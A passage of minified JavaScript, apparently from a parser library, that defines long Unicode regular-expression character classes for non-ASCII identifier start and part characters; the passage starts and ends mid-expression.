\uFF41-\uFF5A\uFF66-\uFFBE\uFFC2-\uFFC7\uFFCA-\uFFCF\uFFD2-\uFFD7\uFFDA-\uFFDC]/,NonAsciiIdentifierPart:/[\xAA\xB5\xBA\xC0-\xD6\xD8-\xF6\xF8-\u02C1\u02C6-\u02D1\u02E0-\u02E4\u02EC\u02EE\u0300-\u0374\u0376\u0377\u037A-\u037D\u037F\u0386\u0388-\u038A\u038C\u038E-\u03A1\u03A3-\u03F5\u03F7-\u0481\u0483-\u0487\u048A-\u052F\u0531-\u0556\u0559\u0561-\u0587\u0591-\u05BD\u05BF\u05C1\u05C2\u05C4\u05C5\u05C7\u05D0-\u05EA\u05F0-\u05F2\u0610-\u061A\u0620-\u0669\u066E-\u06D3\u06D5-\u06DC\u06DF-\u06E8\u06EA-\u06FC\u06FF\u0710-\u074A\u074D-\u07B1\u07C0-\u07F5\u07FA\u0800-\u082D\u0840-\u085B\u08A0-\u08B2\u08E4-\u0963\u0966-\u096F\u0971-\u0983\u0985-\u098C\u098F\u0990\u0993-\u09A8\u09AA-\u09B0\u09B2\u09B6-\u09B9\u09BC-\u09C4\u09C7\u09C8\u09CB-\u09CE\u09D7\u09DC\u09DD\u09DF-\u09E3\u09E6-\u09F1\u0A01-\u0A03\u0A05-\u0A0A\u0A0F\u0A10\u0A13-\u0A28\u0A2A-\u0A30\u0A32\u0A33\u0A35\u0A36\u0A38\u0A39\u0A3C\u0A3E-\u0A42\u0A47\u0A48\u0A4B-\u0A4D\u0A51\u0A59-\u0A5C\u0A5E\u0A66-\u0A75\u0A81-\u0A83\u0A85-\u0A8D\u0A8F-\u0A91\u0A93-\u0AA8\u0AAA-\u0AB0\u0AB2\u0AB3\u0AB5-\u0AB9\u0ABC-\u0AC5\u0AC7-\u0AC9\u0ACB-\u0ACD\u0AD0\u0AE0-\u0AE3\u0AE6-\u0AEF\u0B01-\u0B03\u0B05-\u0B0C\u0B0F\u0B10\u0B13-\u0B28\u0B2A-\u0B30\u0B32\u0B33\u0B35-\u0B39\u0B3C-\u0B44\u0B47\u0B48\u0B4B-\u0B4D\u0B56\u0B57\u0B5C\u0B5D\u0B5F-\u0B63\u0B66-\u0B6F\u0B71\u0B82\u0B83\u0B85-\u0B8A\u0B8E-\u0B90\u0B92-\u0B95\u0B99\u0B9A\u0B9C\u0B9E\u0B9F\u0BA3\u0BA4\u0BA8-\u0BAA\u0BAE-\u0BB9\u0BBE-\u0BC2\u0BC6-\u0BC8\u0BCA-\u0BCD\u0BD0\u0BD7\u0BE6-\u0BEF\u0C00-\u0C03\u0C05-\u0C0C\u0C0E-\u0C10\u0C12-\u0C28\u0C2A-\u0C39\u0C3D-\u0C44\u0C46-\u0C48\u0C4A-\u0C4D\u0C55\u0C56\u0C58\u0C59\u0C60-\u0C63\u0C66-\u0C6F\u0C81-\u0C83\u0C85-\u0C8C\u0C8E-\u0C90\u0C92-\u0CA8\u0CAA-\u0CB3\u0CB5-\u0CB9\u0CBC-\u0CC4\u0CC6-\u0CC8\u0CCA-\u0CCD\u0CD5\u0CD6\u0CDE\u0CE0-\u0CE3\u0CE6-\u0CEF\u0CF1\u0CF2\u0D01-\u0D03\u0D05-\u0D0C\u0D0E-\u0D10\u0D12-\u0D3A\u0D3D-\u0D44\u0D46-\u0D48\u0D4A-\u0D4E\u0D57\u0D60-\u0D63\u0D66-\u0D6F\u0D7A-\u0D7F\u0D82\u0D83\u0D85-\u0D96\u0D9A-\u0DB1\u0DB3-\u0DBB\u0DBD\u0DC0-\u0DC6\u0DCA\u0DCF-\u0DD4\u0DD6\u0DD8-\u0DDF\u0DE6-\u0DEF\u0DF2\u0DF3\u0E01-\u0E3A\u0E40-\u0E4E\u0E50-\u0E59\u0E81\u0E82\u0E84\u0E87\u0E88\u0E8A\u0E8D\u0E94-\u0E97\u0E99-\u0E9F\u0EA1-\u0EA3\u0EA5\u0EA7\u0EAA\u0EAB\u0EAD-\u0EB9\u0EBB-\u0EBD\u0EC0-\u0EC4\u0EC6\u0EC8-\u0ECD\u0ED0-\u0ED9\u0EDC-\u0EDF\u0F00\u0F18\u0F19\u0F20-\u0F29\u0F35\u0F37\u0F39\u0F3E-\u0F47\u0F49-\u0F6C\u0F71-\u0F84\u0F86-\u0F97\u0F99-\u0FBC\u0FC6\u1000-\u1049\u1050-\u109D\u10A0-\u10C5\u10C7\u10CD\u10D0-\u10FA\u10FC-\u1248\u124A-\u124D\u1250-\u1256\u1258\u125A-\u125D\u1260-\u1288\u128A-\u128D\u1290-\u12B0\u12B2-\u12B5\u12B8-\u12BE\u12C0\u12C2-\u12C5\u12C8-\u12D6\u12D8-\u1310\u1312-\u1315\u1318-\u135A\u135D-\u135F\u1380-\u138F\u13A0-\u13F4\u1401-\u166C\u166F-\u167F\u1681-\u169A\u16A0-\u16EA\u16EE-\u16F8\u1700-\u170C\u170E-\u1714\u1720-\u1734\u1740-\u1753\u1760-\u176C\u176E-\u1770\u1772\u1773\u1780-\u17D3\u17D7\u17DC\u17DD\u17E0-\u17E9\u180B-\u180D\u1810-\u1819\u1820-\u1877\u1880-\u18AA\u18B0-\u18F5\u1900-\u191E\u1920-\u192B\u1930-\u193B\u1946-\u196D\u1970-\u1974\u1980-\u19AB\u19B0-\u19C9\u19D0-\u19D9\u1A00-\u1A1B\u1A20-\u1A5E\u1A60-\u1A7C\u1A7F-\u1A89\u1A90-\u1A99\u1AA7\u1AB0-\u1ABD\u1B00-\u1B4B\u1B50-\u1B59\u1B6B-\u1B73\u1B80-\u1BF3\u1C00-\u1C37\u1C40-\u1C49\u1C4D-\u1C7D\u1CD0-\u1CD2\u1CD4-\u1CF6\u1CF8\u1CF9\u1D00-\u1DF5\u1DFC-\u1F15\u1F18-\u1F1D\u1F20-\u1F45\u1F48-\u1F4D\u1F50-\u1F57\u1F59\u1F5B\u1F5D\u1F5F-\u1F7D\u1F80-\u1FB4\u1FB6-\u1FBC\u1FBE\u1FC2-\u1FC4\u1FC6-\u1FCC\u1FD0-\u1FD3\u1FD6-\u1FDB\u1FE0-\u1FEC\u1FF2-\u1FF4\u1FF6-\u1FFC\u200C\u200D\u203F\u2040\u2054\u2071\u207F\u2090-\u209C\u20D0-\u20DC\u20E1\u20E5-\u20F0\u2102\u2107\u210A-\u2113\u2115\u2119-\u211D\u2124\u2126\u2128\u212A-\u212D\u212F-\u2139\u213C-\u213F\u2145-\u2149\u214E\u2160-\u2188\u2C00-\u2C2E\u2C30-\u2C5E\u2C60-\u2CE4\u2CEB-\u2CF3\u2D00-\u2D25\u2D27\u2D2D\u2D30-\u2D67\u2D6F\u2D7F-\u2D96\u2DA0-\u2DA6\u2DA8-\u2DAE\u2DB0-\u2DB6\u2DB8-\u2DBE\u2DC0-\u2DC6\u2DC8-\u2DCE\u2DD0-\u2DD6\u2DD8-\u2DDE\u2DE0-\u2DFF\u2E2F\u3005-\u3007\u3021-\u302F\u3031-\u3035\u3038-\u303C\u3041-\u3096\u3099\u309A\u309D-\u309F\u30A1-\u30FA\u30FC-\u30FF\u3105-\u312D\u3131-\u318E\u31A0-\u31BA\u31F0-\u31FF\u3400-\u4DB5\u4E00-\u9FCC\uA000-\uA48C\uA4D0-\uA4FD\uA500-\uA60C\uA610-\uA62B\uA640-\uA66F\uA674-\uA67D\uA67F-\uA69D\uA69F-\uA6F1\uA717-\uA71F\uA722-\uA788\uA78B-\uA78E\uA790-\uA7AD\uA7B0\uA7B1\uA7F7-\uA827\uA840-\uA873\uA880-\uA8C4\uA8D0-\uA8D9\uA8E0-\uA8F7\uA8FB\uA900-\uA92D\uA930-\uA953\uA960-\uA97C\uA980-\uA9C0\uA9CF-\uA9D9\uA9E0-\uA9FE\uAA00-\uAA36\uAA40-\uAA4D\uAA50-\uAA59\uAA60-\uAA76\uAA7A-\uAAC2\uAADB-\uAADD\uAAE0-\uAAEF\uAAF2-\uAAF6\uAB01-\uAB06\uAB09-\uAB0E\uAB11-\uAB16\uAB20-\uAB26\uAB28-\uAB2E\uAB30-\uAB5A\uAB5C-\uAB5F\uAB64\uAB65\uABC0-\uABEA\uABEC\uABED\uABF0-\uABF9\uAC00-\uD7A3\uD7B0-\uD7C6\uD7CB-\uD7FB\uF900-\uFA6D\uFA70-\uFAD9\uFB00-\uFB06\uFB13-\uFB17\uFB1D-\uFB28\uFB2A-\uFB36\uFB38-\uFB3C\uFB3E\uFB40\uFB41\uFB43\uFB44\uFB46-\uFBB1\uFBD3-\uFD3D\uFD50-\uFD8F\uFD92-\uFDC7\uFDF0-\uFDFB\uFE00-\uFE0F\uFE20-\uFE2D\uFE33\uFE34\uFE4D-\uFE4F\uFE70-\uFE74\uFE76-\uFEFC\uFF10-\uFF19\uFF21-\uFF3A\uFF3F\uFF41-\uFF5A\uFF66-\uFFBE\uFFC2-\uFFC7\uFFCA-\uFFCF\uFFD2-\uFFD7\uFFDA-\uFFDC]/},f={
NonAsciiIdentifierStart:/[\xAA\xB5\xBA\xC0-\xD6\xD8-\xF6\xF8-\u02C1\u02C6-\u02D1\u02E0-\u02E4\u02EC\u02EE\u0370-\u0374\u0376\u0377\u037A-\u037D\u037F\u0386\u0388-\u038A\u038C\u038E-\u03A1\u03A3-\u03F5\u03F7-\u0481\u048A-\u052F\u0531-\u0556\u0559\u0561-\u0587\u05D0-\u05EA\u05F0-\u05F2\u0620-\u064A\u066E\u066F\u0671-\u06D3\u06D5\u06E5\u06E6\u06EE\u06EF\u06FA-\u06FC\u06FF\u0710\u0712-\u072F\u074D-\u07A5\u07B1\u07CA-\u07EA\u07F4\u07F5\u07FA\u0800-\u0815\u081A\u0824\u0828\u0840-\u0858\u08A0-\u08B2\u0904-\u0939\u093D\u0950\u0958-\u0961\u0971-\u0980\u0985-\u098C\u098F\u0990\u0993-\u09A8\u09AA-\u09B0\u09B2\u09B6-\u09B9\u09BD\u09CE\u09DC\u09DD\u09DF-\u09E1\u09F0\u09F1\u0A05-\u0A0A\u0A0F\u0A10\u0A13-\u0A28\u0A2A-\u0A30\u0A32\u0A33\u0A35\u0A36\u0A38\u0A39\u0A59-\u0A5C\u0A5E\u0A72-\u0A74\u0A85-\u0A8D\u0A8F-\u0A91\u0A93-\u0AA8\u0AAA-\u0AB0\u0AB2\u0AB3\u0AB5-\u0AB9\u0ABD\u0AD0\u0AE0\u0AE1\u0B05-\u0B0C\u0B0F\u0B10\u0B13-\u0B28\u0B2A-\u0B30\u0B32\u0B33\u0B35-\u0B39\u0B3D\u0B5C\u0B5D\u0B5F-\u0B61\u0B71\u0B83\u0B85-\u0B8A\u0B8E-\u0B90\u0B92-\u0B95\u0B99\u0B9A\u0B9C\u0B9E\u0B9F\u0BA3\u0BA4\u0BA8-\u0BAA\u0BAE-\u0BB9\u0BD0\u0C05-\u0C0C\u0C0E-\u0C10\u0C12-\u0C28\u0C2A-\u0C39\u0C3D\u0C58\u0C59\u0C60\u0C61\u0C85-\u0C8C\u0C8E-\u0C90\u0C92-\u0CA8\u0CAA-\u0CB3\u0CB5-\u0CB9\u0CBD\u0CDE\u0CE0\u0CE1\u0CF1\u0CF2\u0D05-\u0D0C\u0D0E-\u0D10\u0D12-\u0D3A\u0D3D\u0D4E\u0D60\u0D61\u0D7A-\u0D7F\u0D85-\u0D96\u0D9A-\u0DB1\u0DB3-\u0DBB\u0DBD\u0DC0-\u0DC6\u0E01-\u0E30\u0E32\u0E33\u0E40-\u0E46\u0E81\u0E82\u0E84\u0E87\u0E88\u0E8A\u0E8D\u0E94-\u0E97\u0E99-\u0E9F\u0EA1-\u0EA3\u0EA5\u0EA7\u0EAA\u0EAB\u0EAD-\u0EB0\u0EB2\u0EB3\u0EBD\u0EC0-\u0EC4\u0EC6\u0EDC-\u0EDF\u0F00\u0F40-\u0F47\u0F49-\u0F6C\u0F88-\u0F8C\u1000-\u102A\u103F\u1050-\u1055\u105A-\u105D\u1061\u1065\u1066\u106E-\u1070\u1075-\u1081\u108E\u10A0-\u10C5\u10C7\u10CD\u10D0-\u10FA\u10FC-\u1248\u124A-\u124D\u1250-\u1256\u1258\u125A-\u125D\u1260-\u1288\u128A-\u128D\u1290-\u12B0\u12B2-\u12B5\u12B8-\u12BE\u12C0\u12C2-\u12C5\u12C8-\u12D6\u12D8-\u1310\u1312-\u1315\u1318-\u135A\u1380-\u138F\u13A0-\u13F4\u1401-\u166C\u166F-\u167F\u1681-\u169A\u16A0-\u16EA\u16EE-\u16F8\u1700-\u170C\u170E-\u1711\u1720-\u1731\u1740-\u1751\u1760-\u176C\u176E-\u1770\u1780-\u17B3\u17D7\u17DC\u1820-\u1877\u1880-\u18A8\u18AA\u18B0-\u18F5\u1900-\u191E\u1950-\u196D\u1970-\u1974\u1980-\u19AB\u19C1-\u19C7\u1A00-\u1A16\u1A20-\u1A54\u1AA7\u1B05-\u1B33\u1B45-\u1B4B\u1B83-\u1BA0\u1BAE\u1BAF\u1BBA-\u1BE5\u1C00-\u1C23\u1C4D-\u1C4F\u1C5A-\u1C7D\u1CE9-\u1CEC\u1CEE-\u1CF1\u1CF5\u1CF6\u1D00-\u1DBF\u1E00-\u1F15\u1F18-\u1F1D\u1F20-\u1F45\u1F48-\u1F4D\u1F50-\u1F57\u1F59\u1F5B\u1F5D\u1F5F-\u1F7D\u1F80-\u1FB4\u1FB6-\u1FBC\u1FBE\u1FC2-\u1FC4\u1FC6-\u1FCC\u1FD0-\u1FD3\u1FD6-\u1FDB\u1FE0-\u1FEC\u1FF2-\u1FF4\u1FF6-\u1FFC\u2071\u207F\u2090-\u209C\u2102\u2107\u210A-\u2113\u2115\u2118-\u211D\u2124\u2126\u2128\u212A-\u2139\u213C-\u213F\u2145-\u2149\u214E\u2160-\u2188\u2C00-\u2C2E\u2C30-\u2C5E\u2C60-\u2CE4\u2CEB-\u2CEE\u2CF2\u2CF3\u2D00-\u2D25\u2D27\u2D2D\u2D30-\u2D67\u2D6F\u2D80-\u2D96\u2DA0-\u2DA6\u2DA8-\u2DAE\u2DB0-\u2DB6\u2DB8-\u2DBE\u2DC0-\u2DC6\u2DC8-\u2DCE\u2DD0-\u2DD6\u2DD8-\u2DDE\u3005-\u3007\u3021-\u3029\u3031-\u3035\u3038-\u303C\u3041-\u3096\u309B-\u309F\u30A1-\u30FA\u30FC-\u30FF\u3105-\u312D\u3131-\u318E\u31A0-\u31BA\u31F0-\u31FF\u3400-\u4DB5\u4E00-\u9FCC\uA000-\uA48C\uA4D0-\uA4FD\uA500-\uA60C\uA610-\uA61F\uA62A\uA62B\uA640-\uA66E\uA67F-\uA69D\uA6A0-\uA6EF\uA717-\uA71F\uA722-\uA788\uA78B-\uA78E\uA790-\uA7AD\uA7B0\uA7B1\uA7F7-\uA801\uA803-\uA805\uA807-\uA80A\uA80C-\uA822\uA840-\uA873\uA882-\uA8B3\uA8F2-\uA8F7\uA8FB\uA90A-\uA925\uA930-\uA946\uA960-\uA97C\uA984-\uA9B2\uA9CF\uA9E0-\uA9E4\uA9E6-\uA9EF\uA9FA-\uA9FE\uAA00-\uAA28\uAA40-\uAA42\uAA44-\uAA4B\uAA60-\uAA76\uAA7A\uAA7E-\uAAAF\uAAB1\uAAB5\uAAB6\uAAB9-\uAABD\uAAC0\uAAC2\uAADB-\uAADD\uAAE0-\uAAEA\uAAF2-\uAAF4\uAB01-\uAB06\uAB09-\uAB0E\uAB11-\uAB16\uAB20-\uAB26\uAB28-\uAB2E\uAB30-\uAB5A\uAB5C-\uAB5F\uAB64\uAB65\uABC0-\uABE2\uAC00-\uD7A3\uD7B0-\uD7C6\uD7CB-\uD7FB\uF900-\uFA6D\uFA70-\uFAD9\uFB00-\uFB06\uFB13-\uFB17\uFB1D\uFB1F-\uFB28\uFB2A-\uFB36\uFB38-\uFB3C\uFB3E\uFB40\uFB41\uFB43\uFB44\uFB46-\uFBB1\uFBD3-\uFD3D\uFD50-\uFD8F\uFD92-\uFDC7\uFDF0-\uFDFB\uFE70-\uFE74\uFE76-\uFEFC\uFF21-\uFF3A\uFF41-\uFF5A\uFF66-\uFFBE\uFFC2-\uFFC7\uFFCA-\uFFCF\uFFD2-\uFFD7\uFFDA-\uFFDC]|\uD800[\uDC00-\uDC0B\uDC0D-\uDC26\uDC28-\uDC3A\uDC3C\uDC3D\uDC3F-\uDC4D\uDC50-\uDC5D\uDC80-\uDCFA\uDD40-\uDD74\uDE80-\uDE9C\uDEA0-\uDED0\uDF00-\uDF1F\uDF30-\uDF4A\uDF50-\uDF75\uDF80-\uDF9D\uDFA0-\uDFC3\uDFC8-\uDFCF\uDFD1-\uDFD5]|\uD801[\uDC00-\uDC9D\uDD00-\uDD27\uDD30-\uDD63\uDE00-\uDF36\uDF40-\uDF55\uDF60-\uDF67]|\uD802[\uDC00-\uDC05\uDC08\uDC0A-\uDC35\uDC37\uDC38\uDC3C\uDC3F-\uDC55\uDC60-\uDC76\uDC80-\uDC9E\uDD00-\uDD15\uDD20-\uDD39\uDD80-\uDDB7\uDDBE\uDDBF\uDE00\uDE10-\uDE13\uDE15-\uDE17\uDE19-\uDE33\uDE60-\uDE7C\uDE80-\uDE9C\uDEC0-\uDEC7\uDEC9-\uDEE4\uDF00-\uDF35\uDF40-\uDF55\uDF60-\uDF72\uDF80-\uDF91]|\uD803[\uDC00-\uDC48]|\uD804[\uDC03-\uDC37\uDC83-\uDCAF\uDCD0-\uDCE8\uDD03-\uDD26\uDD50-\uDD72\uDD76\uDD83-\uDDB2\uDDC1-\uDDC4\uDDDA\uDE00-\uDE11\uDE13-\uDE2B\uDEB0-\uDEDE\uDF05-\uDF0C\uDF0F\uDF10\uDF13-\uDF28\uDF2A-\uDF30\uDF32\uDF33\uDF35-\uDF39\uDF3D\uDF5D-\uDF61]|\uD805[\uDC80-\uDCAF\uDCC4\uDCC5\uDCC7\uDD80-\uDDAE\uDE00-\uDE2F\uDE44\uDE80-\uDEAA]|\uD806[\uDCA0-\uDCDF\uDCFF\uDEC0-\uDEF8]|\uD808[\uDC00-\uDF98]|\uD809[\uDC00-\uDC6E]|[\uD80C\uD840-\uD868\uD86A-\uD86C][\uDC00-\uDFFF]|\uD80D[\uDC00-\uDC2E]|\uD81A[\uDC00-\uDE38\uDE40-\uDE5E\uDED0-\uDEED\uDF00-\uDF2F\uDF40-\uDF43\uDF63-\uDF77\uDF7D-\uDF8F]|\uD81B[\uDF00-\uDF44\uDF50\uDF93-\uDF9F]|\uD82C[\uDC00\uDC01]|\uD82F[\uDC00-\uDC6A\uDC70-\uDC7C\uDC80-\uDC88\uDC90-\uDC99]|\uD835[\uDC00-\uDC54\uDC56-\uDC9C\uDC9E\uDC9F\uDCA2\uDCA5\uDCA6\uDCA9-\uDCAC\uDCAE-\uDCB9\uDCBB\uDCBD-\uDCC3\uDCC5-\uDD05\uDD07-\uDD0A\uDD0D-\uDD14\uDD16-\uDD1C\uDD1E-\uDD39\uDD3B-\uDD3E\uDD40-\uDD44\uDD46\uDD4A-\uDD50\uDD52-\uDEA5\uDEA8-\uDEC0\uDEC2-\uDEDA\uDEDC-\uDEFA\uDEFC-\uDF14\uDF16-\uDF34\uDF36-\uDF4E\uDF50-\uDF6E\uDF70-\uDF88\uDF8A-\uDFA8\uDFAA-\uDFC2\uDFC4-\uDFCB]|\uD83A[\uDC00-\uDCC4]|\uD83B[\uDE00-\uDE03\uDE05-\uDE1F\uDE21\uDE22\uDE24\uDE27\uDE29-\uDE32\uDE34-\uDE37\uDE39\uDE3B\uDE42\uDE47\uDE49\uDE4B\uDE4D-\uDE4F\uDE51\uDE52\uDE54\uDE57\uDE59\uDE5B\uDE5D\uDE5F\uDE61\uDE62\uDE64\uDE67-\uDE6A\uDE6C-\uDE72\uDE74-\uDE77\uDE79-\uDE7C\uDE7E\uDE80-\uDE89\uDE8B-\uDE9B\uDEA1-\uDEA3\uDEA5-\uDEA9\uDEAB-\uDEBB]|\uD869[\uDC00-\uDED6\uDF00-\uDFFF]|\uD86D[\uDC00-\uDF34\uDF40-\uDFFF]|\uD86E[\uDC00-\uDC1D]|\uD87E[\uDC00-\uDE1D]/,NonAsciiIdentifierPart:/[\xAA\xB5\xB7\xBA\xC0-\xD6\xD8-\xF6\xF8-\u02C1\u02C6-\u02D1\u02E0-\u02E4\u02EC\u02EE\u0300-\u0374\u0376\u0377\u037A-\u037D\u037F\u0386-\u038A\u038C\u038E-\u03A1\u03A3-\u03F5\u03F7-\u0481\u0483-\u0487\u048A-\u052F\u0531-\u0556\u0559\u0561-\u0587\u0591-\u05BD\u05BF\u05C1\u05C2\u05C4\u05C5\u05C7\u05D0-\u05EA\u05F0-\u05F2\u0610-\u061A\u0620-\u0669\u066E-\u06D3\u06D5-\u06DC\u06DF-\u06E8\u06EA-\u06FC\u06FF\u0710-\u074A\u074D-\u07B1\u07C0-\u07F5\u07FA\u0800-\u082D\u0840-\u085B\u08A0-\u08B2\u08E4-\u0963\u0966-\u096F\u0971-\u0983\u0985-\u098C\u098F\u0990\u0993-\u09A8\u09AA-\u09B0\u09B2\u09B6-\u09B9\u09BC-\u09C4\u09C7\u09C8\u09CB-\u09CE\u09D7\u09DC\u09DD\u09DF-\u09E3\u09E6-\u09F1\u0A01-\u0A03\u0A05-\u0A0A\u0A0F\u0A10\u0A13-\u0A28\u0A2A-\u0A30\u0A32\u0A33\u0A35\u0A36\u0A38\u0A39\u0A3C\u0A3E-\u0A42\u0A47\u0A48\u0A4B-\u0A4D\u0A51\u0A59-\u0A5C\u0A5E\u0A66-\u0A75\u0A81-\u0A83\u0A85-\u0A8D\u0A8F-\u0A91\u0A93-\u0AA8\u0AAA-\u0AB0\u0AB2\u0AB3\u0AB5-\u0AB9\u0ABC-\u0AC5\u0AC7-\u0AC9\u0ACB-\u0ACD\u0AD0\u0AE0-\u0AE3\u0AE6-\u0AEF\u0B01-\u0B03\u0B05-\u0B0C\u0B0F\u0B10\u0B13-\u0B28\u0B2A-\u0B30\u0B32\u0B33\u0B35-\u0B39\u0B3C-\u0B44\u0B47\u0B48\u0B4B-\u0B4D\u0B56\u0B57\u0B5C\u0B5D\u0B5F-\u0B63\u0B66-\u0B6F\u0B71\u0B82\u0B83\u0B85-\u0B8A\u0B8E-\u0B90\u0B92-\u0B95\u0B99\u0B9A\u0B9C\u0B9E\u0B9F\u0BA3\u0BA4\u0BA8-\u0BAA\u0BAE-\u0BB9\u0BBE-\u0BC2\u0BC6-\u0BC8\u0BCA-\u0BCD\u0BD0\u0BD7\u0BE6-\u0BEF\u0C00-\u0C03\u0C05-\u0C0C\u0C0E-\u0C10\u0C12-\u0C28\u0C2A-\u0C39\u0C3D-\u0C44\u0C46-\u0C48\u0C4A-\u0C4D\u0C55\u0C56\u0C58\u0C59\u0C60-\u0C63\u0C66-\u0C6F\u0C81-\u0C83\u0C85-\u0C8C\u0C8E-\u0C90\u0C92-\u0CA8\u0CAA-\u0CB3\u0CB5-\u0CB9\u0CBC-\u0CC4\u0CC6-\u0CC8\u0CCA-\u0CCD\u0CD5\u0CD6\u0CDE\u0CE0-\u0CE3\u0CE6-\u0CEF\u0CF1\u0CF2\u0D01-\u0D03\u0D05-\u0D0C\u0D0E-\u0D10\u0D12-\u0D3A\u0D3D-\u0D44\u0D46-\u0D48\u0D4A-\u0D4E\u0D57\u0D60-\u0D63\u0D66-\u0D6F\u0D7A-\u0D7F\u0D82\u0D83\u0D85-\u0D96\u0D9A-\u0DB1\u0DB3-\u0DBB\u0DBD\u0DC0-\u0DC6\u0DCA\u0DCF-\u0DD4\u0DD6\u0DD8-\u0DDF\u0DE6-\u0DEF\u0DF2\u0DF3\u0E01-\u0E3A\u0E40-\u0E4E\u0E50-\u0E59\u0E81\u0E82\u0E84\u0E87\u0E88\u0E8A\u0E8D\u0E94-\u0E97\u0E99-\u0E9F\u0EA1-\u0EA3\u0EA5\u0EA7\u0EAA\u0EAB\u0EAD-\u0EB9\u0EBB-\u0EBD\u0EC0-\u0EC4\u0EC6\u0EC8-\u0ECD\u0ED0-\u0ED9\u0EDC-\u0EDF\u0F00\u0F18\u0F19\u0F20-\u0F29\u0F35\u0F37\u0F39\u0F3E-\u0F47\u0F49-\u0F6C\u0F71-\u0F84\u0F86-\u0F97\u0F99-\u0FBC\u0FC6\u1000-\u1049\u1050-\u109D\u10A0-\u10C5\u10C7\u10CD\u10D0-\u10FA\u10FC-\u1248\u124A-\u124D\u1250-\u1256\u1258\u125A-\u125D\u1260-\u1288\u128A-\u128D\u1290-\u12B0\u12B2-\u12B5\u12B8-\u12BE\u12C0\u12C2-\u12C5\u12C8-\u12D6\u12D8-\u1310\u1312-\u1315\u1318-\u135A\u135D-\u135F\u1369-\u1371\u1380-\u138F\u13A0-\u13F4\u1401-\u166C\u166F-\u167F\u1681-\u169A\u16A0-\u16EA\u16EE-\u16F8\u1700-\u170C\u170E-\u1714\u1720-\u1734\u1740-\u1753\u1760-\u176C\u176E-\u1770\u1772\u1773\u1780-\u17D3\u17D7\u17DC\u17DD\u17E0-\u17E9\u180B-\u180D\u1810-\u1819\u1820-\u1877\u1880-\u18AA\u18B0-\u18F5\u1900-\u191E\u1920-\u192B\u1930-\u193B\u1946-\u196D\u1970-\u1974\u1980-\u19AB\u19B0-\u19C9\u19D0-\u19DA\u1A00-\u1A1B\u1A20-\u1A5E\u1A60-\u1A7C\u1A7F-\u1A89\u1A90-\u1A99\u1AA7\u1AB0-\u1ABD\u1B00-\u1B4B\u1B50-\u1B59\u1B6B-\u1B73\u1B80-\u1BF3\u1C00-\u1C37\u1C40-\u1C49\u1C4D-\u1C7D\u1CD0-\u1CD2\u1CD4-\u1CF6\u1CF8\u1CF9\u1D00-\u1DF5\u1DFC-\u1F15\u1F18-\u1F1D\u1F20-\u1F45\u1F48-\u1F4D\u1F50-\u1F57\u1F59\u1F5B\u1F5D\u1F5F-\u1F7D\u1F80-\u1FB4\u1FB6-\u1FBC\u1FBE\u1FC2-\u1FC4\u1FC6-\u1FCC\u1FD0-\u1FD3\u1FD6-\u1FDB\u1FE0-\u1FEC\u1FF2-\u1FF4\u1FF6-\u1FFC\u200C\u200D\u203F\u2040\u2054\u2071\u207F\u2090-\u209C\u20D0-\u20DC\u20E1\u20E5-\u20F0\u2102\u2107\u210A-\u2113\u2115\u2118-\u211D\u2124\u2126\u2128\u212A-\u2139\u213C-\u213F\u2145-\u2149\u214E\u2160-\u2188\u2C00-\u2C2E\u2C30-\u2C5E\u2C60-\u2CE4\u2CEB-\u2CF3\u2D00-\u2D25\u2D27\u2D2D\u2D30-\u2D67\u2D6F\u2D7F-\u2D96\u2DA0-\u2DA6\u2DA8-\u2DAE\u2DB0-\u2DB6\u2DB8-\u2DBE\u2DC0-\u2DC6\u2DC8-\u2DCE\u2DD0-\u2DD6\u2DD8-\u2DDE\u2DE0-\u2DFF\u3005-\u3007\u3021-\u302F\u3031-\u3035\u3038-\u303C\u3041-\u3096\u3099-\u309F\u30A1-\u30FA\u30FC-\u30FF\u3105-\u312D\u3131-\u318E\u31A0-\u31BA\u31F0-\u31FF\u3400-\u4DB5\u4E00-\u9FCC\uA000-\uA48C\uA4D0-\uA4FD\uA500-\uA60C\uA610-\uA62B\uA640-\uA66F\uA674-\uA67D\uA67F-\uA69D\uA69F-\uA6F1\uA717-\uA71F\uA722-\uA788\uA78B-\uA78E\uA790-\uA7AD\uA7B0\uA7B1\uA7F7-\uA827\uA840-\uA873\uA880-\uA8C4\uA8D0-\uA8D9\uA8E0-\uA8F7\uA8FB\uA900-\uA92D\uA930-\uA953\uA960-\uA97C\uA980-\uA9C0\uA9CF-\uA9D9\uA9E0-\uA9FE\uAA00-\uAA36\uAA40-\uAA4D\uAA50-\uAA59\uAA60-\uAA76\uAA7A-\uAAC2\uAADB-\uAADD\uAAE0-\uAAEF\uAAF2-\uAAF6\uAB01-\uAB06\uAB09-\uAB0E\uAB11-\uAB16\uAB20-\uAB26\uAB28-\uAB2E\uAB30-\uAB5A\uAB5C-\uAB5F\uAB64\uAB65\uABC0-\uABEA\uABEC\uABED\uABF0-\uABF9\uAC00-\uD7A3\uD7B0-\uD7C6\uD7CB-\uD7FB\uF900-\uFA6D\uFA70-\uFAD9\uFB00-\uFB06\uFB13-\uFB17\uFB1D-\uFB28\uFB2A-\uFB36\uFB38-\uFB3C\uFB3E\uFB40\uFB41\uFB43\uFB44\uFB46-\uFBB1\uFBD3-\uFD3D\uFD50-\uFD8F\uFD92-\uFDC7\uFDF0-\uFDFB\uFE00-\uFE0F\uFE20-\uFE2D\uFE33\uFE34\uFE4D-\uFE4F\uFE70-\uFE74\uFE76-\uFEFC\uFF10-\uFF19\uFF21-\uFF3A\uFF3F\uFF41-\uFF5A\uFF66-\uFFBE\uFFC2-\uFFC7\uFFCA-\uFFCF\uFFD2-\uFFD7\uFFDA-\uFFDC]|\uD800[\uDC00-\uDC0B\uDC0D-\uDC26\uDC28-\uDC3A\uDC3C\uDC3D\uDC3F-\uDC4D\uDC50-\uDC5D\uDC80-\uDCFA\uDD40-\uDD74\uDDFD\uDE80-\uDE9C\uDEA0-\uDED0\uDEE0\uDF00-\uDF1F\uDF30-\uDF4A\uDF50-\uDF7A\uDF80-\uDF9D\uDFA0-\uDFC3\uDFC8-\uDFCF\uDFD1-\uDFD5]|\uD801[\uDC00-\uDC9D\uDCA0-\uDCA9\uDD00-\uDD27\uDD30-\uDD63\uDE00-\uDF36\uDF40-\uDF55\uDF60-\uDF67]|\uD802[\uDC00-\uDC05\uDC08\uDC0A-\uDC35\uDC37\uDC38\uDC3C\uDC3F-\uDC55\uDC60-\uDC76\uDC80-\uDC9E\uDD00-\uDD15\uDD20-\uDD39\uDD80-\uDDB7\uDDBE\uDDBF\uDE00-\uDE03\uDE05\uDE06\uDE0C-\uDE13\uDE15-\uDE17\uDE19-\uDE33\uDE38-\uDE3A\uDE3F\uDE60-